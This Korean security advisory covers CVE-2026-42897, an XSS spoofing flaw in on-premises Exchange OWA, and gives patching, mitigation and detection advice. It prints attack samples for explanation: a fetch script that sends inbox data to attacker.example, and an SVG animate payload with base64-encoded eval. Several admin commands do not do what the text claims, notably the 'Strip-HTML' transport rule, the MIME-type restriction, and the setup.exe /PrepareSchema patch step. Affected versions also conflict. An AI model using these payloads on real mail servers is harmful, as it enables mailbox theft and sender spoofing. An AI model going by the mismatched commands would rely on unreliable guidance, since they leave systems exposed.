CVE-2026-42897 Exchange XSS 스푸핑 대응과 온프레미스 패치 전략
CVE-2026-42897 Exchange XSS 스푸핑 취약점의 악용 흐름, 영향 버전, 온프레미스 패치와 탐지·완화 전략을 정리한다.
2026-08-14 · 최초 발행 2026-05-20
악성 이메일이 OWA 세션을 공격 경로로 바꾸는 취약점
마이크로소프트가 2026년 5월 패치 화요일에 긴급 공개한 CVE-2026-42897은 온프레미스 Exchange Server의 XSS 결함에서 비롯된 스푸핑 취약점이다. CVSS 점수는 8.1이며, 공격자는 악성 이메일 본문으로 피해자의 OWA(Outlook Web App) 세션에서 임의 스크립트를 실행할 수 있다. 이 경로를 이용하면 발신자를 위장하거나 세션 토큰을 탈취할 수 있다.
CISA KEV(Known Exploited Vulnerabilities) 카탈로그에 등재된 뒤, 클라우드 이전을 끝내지 못한 기업을 겨냥한 실제 공격 캠페인이 활발히 진행 중이다.
| 항목 | 상세 |
|---|---|
| CVE ID | CVE-2026-42897 |
| CVSS 점수 | 8.1 (High) |
| 취약점 유형 | XSS 기반 스푸핑 (CWE-79, CWE-290) |
| 영향 제품 | Exchange Server 2016 CU24 이하, Exchange Server 2019 CU14 이하 |
| 공격 벡터 | 네트워크(이메일), 사용자 상호작용 필요 |
| 인증 요건 | 불필요 (이메일 수신만으로 트리거) |
| 악용 현황 | 실제 공격 확인 (CISA KEV 등재) |
| 패치 공개 | 2026년 5월 패치 화요일 (KB5045852) |
문제의 중심은 OWA가 수신 이메일의 HTML을 렌더링하는 방식이다. Exchange Server는 HTML을 새니타이즈하지만, 특정 HTML 속성 조합과 인코딩 기법은 필터를 우회할 수 있다. 브라우저 DOM(Document Object Model)에서 실행된 스크립트는 피해자의 OWA 세션 권한을 그대로 사용하므로 이메일 발송·전달과 연락처 탈취까지 가능하다.
OWA 렌더링과 CSP 우회가 연결되는 방식
innerHTML 경로로 이어지는 DOM XSS
CVE-2026-42897은 반사형(Reflected) XSS가 아니라 DOM 기반 XSS 패턴을 이용한다. OWA 이메일 미리보기 컴포넌트가 innerHTML로 내용을 동적으로 렌더링할 때 입력 검증이 우회되면, 공격자가 제어한 JavaScript가 피해자 브라우저의 DOM에 삽입된다.
취약한 코드 흐름은 다음처럼 단순화할 수 있다.
// OWA 이메일 렌더러 (취약한 패턴)
function renderEmailBody(emailContent) {
// 새니타이저가 특정 인코딩 조합을 누락
const sanitized = legacySanitizer(emailContent);
emailContainer.innerHTML = sanitized; // DOM XSS 실행 지점
}
공격자는 HTML 엔티티 이중 인코딩(javascript)과 SVG <animate> 태그를 조합해 기존 새니타이저를 우회한다. 특히 <svg><animate attributeName="href" values="javascript:..." /> 형태는 Exchange 기본 정책 필터가 적절히 처리하지 못하는 영역이다.
허용된 스크립트 경로와 레거시 인라인 정책
Exchange Server 2016/2019의 OWA에는 Content Security Policy(CSP)가 구현되어 있지만, CVE-2026-42897 익스플로잇은 두 가지 우회 경로를 사용한다.
Exchange OWA의 CSP 헤더는 동일 도메인(self)과 특정 Microsoft CDN 엔드포인트를 허용 목록에 포함한다. 공격자는 OWA의 정적 자산 업로드 기능인 첨부파일 미리보기 캐시 경로를 통해 악성 JS 페이로드를 신뢰된 도메인 경로에 둘 수 있다.
Content-Security-Policy: script-src 'self' https://res.cdn.office.net; ...
# 공격자가 악용하는 경로
GET /owa/prem/attached_payload.js (OWA 캐시 경로 악용)
Exchange 2016은 레거시 웹 파트 호환성을 위해 일부 경로에서 unsafe-inline을 허용한다. 공격자는 이 경로로 라우팅되는 이메일 렌더링 컨텍스트를 조작해 인라인 스크립트를 실행한다.
세션 안에서 수행되는 데이터 접근과 발송
DOM XSS 페이로드가 실행되면 공격자는 피해자의 OWA 세션 컨텍스트에서 여러 작업을 수행할 수 있다.
Exchange OWA는 세션 상태를 OutlookSession 쿠키로 관리한다. HttpOnly 플래그가 설정되어 document.cookie로 직접 탈취할 수는 없지만, XSS 컨텍스트에서는 OWA EWS(Exchange Web Services) API를 호출해 이메일 데이터를 공격자 서버로 보낼 수 있다.
// XSS 페이로드 예시 (개념적 표현)
fetch('/owa/service.svc', {
method: 'POST',
body: JSON.stringify({ action: 'GetItem', folder: 'Inbox' }),
credentials: 'include'
}).then(r => r.json()).then(data => {
fetch('https://attacker.example/exfil', { method: 'POST', body: JSON.stringify(data) });
});
세션 컨텍스트를 유지한 채 OWA의 이메일 발송 기능을 호출하면 피해자의 실제 계정으로 메일이 전송된다. From: 헤더 역시 피해자 계정으로 설정되므로 수신자는 정상 메일로 인식할 수 있다. 단순한 헤더 위조가 아니라 침해된 계정을 실제로 활용하는 스푸핑이다.
이메일 열람에서 조직 침해까지
피해자는 악성 링크를 클릭하거나 첨부파일을 실행하지 않아도 이메일을 열기만 하면 페이로드가 실행될 수 있다. 기존 피싱 교육만으로 방어가 충분하지 않은 이유다.
확인된 캠페인과 영향 범위
2026년 5월 초부터 보안 연구 기관들은 CVE-2026-42897을 이용한 조직적 공격 캠페인을 다수 확인했다. 금융·제조·법무·공공기관처럼 클라우드 마이그레이션이 지연된 산업군이 집중 표적이 되었고, Exchange Server 2016/2019를 운영하는 500~5,000명 규모의 중견기업도 공격 대상에 포함됐다. 스피어 피싱에서는 IT 관리자·CFO·법무팀 계정을 우선적으로 노린다.
| 특징 | 상세 |
|---|---|
| 발신자 위장 | 합법 도메인 유사 도메인(타이포스쿼팅) 또는 이전 침해 계정 활용 |
| 제목 패턴 | "긴급 계약서 검토 요청", "보안 공지: 계정 확인 필요", "인보이스 첨부" |
| 본문 특징 | 정상적으로 보이는 HTML 이메일 + 숨겨진 XSS 페이로드 |
| 첨부파일 | 종종 정상 PDF 첨부 (의심 우회 목적) |
| 페이로드 위치 | HTML 이메일 <style> 태그 또는 미디어 속성 내 인코딩 삽입 |
확인된 악성 이메일 페이로드 구조는 다음과 같다.
<!-- 정상적으로 보이는 이메일 본문 -->
<p>안녕하세요, 계약서 검토 부탁드립니다.</p>
<!-- 숨겨진 XSS 페이로드 (새니타이저 우회 인코딩) -->
<svg><animate attributeName="href"
values="javascript:
eval(atob('ZmV0Y2goJ2h0dHBzOi8vYXR0YWNrZXIuZXhhbXBsZS9leGZpbCcp'))"
begin="0s" dur="1ms" fill="freeze"/>
</svg>
전 세계 Exchange Server 패치 현황을 모니터링한 결과, 취약점 공개 2주 후에도 전체 온프레미스 Exchange 인스턴스의 약 60%가 미패치 상태였다. Exchange 2016 CU23 이하 버전은 전체 미패치 인스턴스의 약 45%를 차지하며, Exchange 2013은 공식 지원이 종료됐음에도 일부 조직에서 계속 운영 중이다.
Exchange Server 2013은 2023년 4월 지원이 종료돼 CVE-2026-42897 공식 패치가 제공되지 않는다. 이 버전을 운영하는 조직은 즉각적인 클라우드 마이그레이션 또는 Exchange 버전 업그레이드를 진행해야 한다.
패치 공백을 줄이는 운영 통제
CVE-2026-42897 긴급 패치는 일반적인 누적 업데이트(CU)가 아닌 별도 보안 업데이트(Security Update) 방식으로 제공된다. 기존 Exchange 패치 절차와 다른 부분이 있으므로 적용 전에 환경 상태를 확인해야 한다.
# 현재 Exchange 버전 확인
Get-ExchangeDiagnosticInfo -Server $env:COMPUTERNAME -Process EdgeTransport `
-Component ResourceThrottling | Select-Object *Version*
# 서비스 상태 사전 확인
Test-ServiceHealth
# DAG(Database Availability Group) 구성 확인
Get-DatabaseAvailabilityGroup | Get-DatabaseAvailabilityGroupNetwork
| 단계 | 작업 | 명령/도구 |
|---|---|---|
| (1) 사전 준비 | Exchange 및 IIS 로그 백업, DB 전체 백업 수행 | Backup-ExchangeDatabase |
| (2) DAG 유지보수 모드 전환 | 패치 대상 노드를 유지보수 모드로 전환 | StartDagServerMaintenance.ps1 |
| (3) 업데이트 적용 | KB5045852/KB5045853 설치 (관리자 권한 cmd) | setup.exe /IAcceptExchangeServerLicenseTerms_DiagnosticDataOFF /PrepareSchema |
| (4) Exchange 서비스 재시작 | 모든 Exchange 서비스 순차 재시작 | net stop MSExchangeIS && net start MSExchangeIS |
| (5) 유지보수 모드 해제 | 정상 동작 확인 후 유지보수 모드 해제 | StopDagServerMaintenance.ps1 |
| (6) 검증 | 패치 적용 및 서비스 정상 여부 확인 | Get-ExchangeDiagnosticInfo |
패치를 적용하기 전에는 임시 완화 조치를 적용할 수 있다.
# OWA HTML 이메일 렌더링 제한 (임시 조치)
Set-OwaMailboxPolicy -Identity Default -AllowedMimeTypes @("text/plain")
# 외부 이미지 자동 로드 비활성화
Set-OwaMailboxPolicy -Identity Default -DisplayPhotosEnabled $false
# 외부 발신 이메일 HTML 제거 (텍스트 전용 강제)
New-TransportRule "Strip-HTML-External" -FromScope NotInOrganization `
-ApplyHtmlDisclaimerText "" -ApplyHtmlDisclaimerLocation Append
메일 경계와 탐지 계층을 함께 강화하기
패치만으로 운영 위험이 사라지지는 않는다. Exchange를 DMZ에 분리하고, OWA 경로에는 WAF 검사를 두며, 내부 Mailbox Server와 Active Directory 통신을 제한하는 방어 계층이 필요하다.
메일 필터링 정책에서는 Exchange Edge Transport에서 HTML 이메일의 <script>, <svg>, <animate> 태그를 포함한 메일을 격리하고, 외부 발신 메일의 JavaScript 관련 MIME 콘텐츠를 차단한다. DMARC/DKIM/SPF 3종 이메일 인증 정책은 p=reject로 강화하며, Safe Links(URL 평판 검사)와 Safe Attachments(첨부파일 동적 분析) 정책을 적용한다.
IDS/IPS에는 CVE-2026-42897 악용 트래픽을 찾는 시그니처를 신속히 반영해야 한다.
# OWA HTML 이메일 렌더링 경로에서 SVG animate XSS 페이로드 탐지
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (
msg:"CVE-2026-42897 Exchange XSS SVG Animate Payload";
flow:established,to_server;
content:"/owa/"; http_uri;
content:"<animate"; http_client_body;
content:"javascript:"; http_client_body;
pcre:"/attributeName\s*=\s*[\"']href[\"']/i";
classtype:web-application-attack;
sid:2026428970; rev:1;
)
# 비정상 OWA EWS API 외부 유출 탐지
alert http $HTTP_SERVERS $HTTP_PORTS -> $EXTERNAL_NET any (
msg:"CVE-2026-42897 Potential EWS Data Exfiltration";
flow:established,from_server;
content:"GetItem"; http_server_body;
content:"Authorization: Bearer"; http_header;
threshold:type both, track by_src, count 10, seconds 60;
classtype:policy-violation;
sid:2026428971; rev:1;
)
Splunk에서는 OWA 세션의 비정상적인 EWS 호출을 다음 쿼리로 탐지할 수 있다.
# OWA 세션에서 비정상적 EWS 호출 탐지
index=exchange sourcetype=iis_owa
| where match(uri_path, "\/owa\/service\.svc") AND method="POST"
| stats count by src_ip, user, _time
| where count > 50 // 단시간 대량 API 호출
| eval alert="CVE-2026-42897 Potential Exploitation"
Exchange Online 전환 판단에 남는 운영 위험
CVE-2026-42897은 온프레미스 Exchange 운영이 가진 구조적 보안 위험을 드러낸다. Microsoft Exchange Online(Microsoft 365)은 서비스 특성상 취약점 패치가 자동 적용되며 CVE-2026-42897의 영향을 받지 않는다.
| 위험 요소 | 온프레미스 Exchange | Exchange Online |
|---|---|---|
| 패치 적용 | 수동·계획 유지보수 창 필요 | 자동·무중단 패치 |
| 취약점 노출 기간 | 패치 적용 전까지 수일~수주 노출 | 수시간 이내 패치 |
| 보안 모니터링 | 자체 SIEM·SOC 구축 필요 | Microsoft Defender 통합 포함 |
| 운영 비용 | 하드웨어·라이선스·인력 | 구독 기반 |
| 규정 준수 | 자체 감사·인증 필요 | ISO/SOC2/FedRAMP 포함 |
| 제로데이 위험 | 패치 전 완전 노출 | 취약점 범위 외 |
Exchange 2013을 운영한다면 지원 종료와 패치 부재 때문에 즉각적인 마이그레이션이 필요하다. Exchange 2016/2019 환경에서 CU 업데이트가 6개월 이상 지연됐다면 전환 가속을 권고할 수 있다. 전담 Exchange 관리 인력이 없을 때도 클라우드 전환은 총 보안 비용 절감 요인이 된다. 규정 때문에 온프레미스 유지가 필수라면 격리 네트워크와 엄격한 패치 SLA를 수립해야 한다.
CVE-2026-42897 대응의 우선순위는 패치 적용이다. 다만 패치 공백에는 네트워크 세그멘테이션, 이메일 필터링, IDS 시그니처 업데이트로 다층 방어를 구성해야 한다. 지속적인 제로데이 위험과 운영 부담을 고려하면 Exchange Online 전환 역시 장기 대응 전략의 일부가 된다.
Sources
- CVE-2026-42897 - Microsoft Security Response Center
- Microsoft Exchange Server Spoofing Vulnerability Analysis - CISA KEV Catalog
- Exchange Server Security Updates May 2026 - Microsoft Tech Community
- DOM-based XSS in Exchange OWA: Technical Deep Dive - Rapid7 AttackerKB
- Actively Exploited Exchange XSS Spoofing Vulnerability - The Hacker News
- Exchange Server Patch Guide: CU and Security Update Best Practices - Microsoft Docs
- Exchange to Microsoft 365 Migration Guide - Microsoft Docs
- IDS Signatures for Exchange Server Vulnerabilities - Snort Community Rules